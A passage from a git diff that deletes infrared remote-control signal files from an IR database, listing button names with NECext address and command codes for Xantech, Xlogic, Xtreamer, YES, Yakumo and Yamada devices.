00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir deleted file mode 100644 index 81a97b670..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: 0-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: 2-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: 1-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: 3-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: 2-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: 4-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: 3-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0D 00 00 00 -# -name: 5-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: 4-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: 0-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 14 00 00 00 -# -name: 7-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: 6-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: 5-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: 7-OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1C 00 00 00 -# -name: 6-ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir deleted file mode 100644 index 3fd1f0bc2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0D 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0E 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0F 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 12 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 13 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 14 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 16 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1B 00 00 00 -# -name: PAIR_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1C 00 00 00 -# -name: PAIR_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1D 00 00 00 -# -name: TGL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1E 00 00 00 -# -name: MMT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir deleted file mode 100644 index 425987f2c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: clr -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 00 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 02 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 04 00 00 00 -# -name: pal/ntsc -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 06 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 07 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 09 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0B 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0F 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 11 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 14 00 00 00 -# -name: mark -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 15 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 17 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 19 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1B 00 00 00 -# -name: frwd -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 47 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 48 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 49 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4F 00 00 00 -# -name: equalizer -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 51 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir deleted file mode 100644 index 5b741eb98..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_AB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RESTART -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_SHUFFLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir deleted file mode 100644 index f9fa4cfc6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 20 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 21 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 22 00 00 00 -# -name: yes -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 23 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 24 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 26 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 27 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 29 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 30 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 31 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 32 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 34 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 35 00 00 00 -# -name: mosaic -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 37 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 38 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 39 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3D 00 00 00 -# -name: orange -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3F 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 40 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 41 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 42 00 00 00 -# -name: envelope -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 43 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir deleted file mode 100644 index 96e61df9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: program -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: t.e. -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir deleted file mode 100644 index e1058aca0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: program -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: te -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: pn -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: shuffle -type: parsed -protocol: 